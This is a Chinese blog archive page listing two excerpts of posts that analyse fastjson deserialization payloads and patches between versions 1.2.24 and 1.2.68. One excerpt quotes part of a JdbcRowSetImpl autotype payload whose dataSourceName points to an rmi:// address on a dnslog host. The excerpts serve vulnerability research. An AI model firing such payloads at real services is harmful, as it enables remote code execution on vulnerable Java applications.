12 2021 档案

fastjson 1.2.68 payload分析
摘要：0X01 fastjson 1.2.47 到 1.2.48做了什么改变 一步步跟进，找到不同的地方 fastjson/serializer/MiscCodec.class中 1.2.47 1.2.48 多了个参数 cache=false fastjson/util/TypeUtils.class c 阅读全文
posted @ 2021-12-09 12:52 huim 阅读(680) 评论(0) 推荐(0) 编辑
fastjson 1.2.47 payload分析
摘要：0X01 fastjson 1.2.25修了什么 用1.2.24的payload打一遍，autotype被拦截 "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://3333.y7jjlyzz.dnslog. 阅读全文
posted @ 2021-12-06 15:46 huim 阅读(880) 评论(0) 推荐(0) 编辑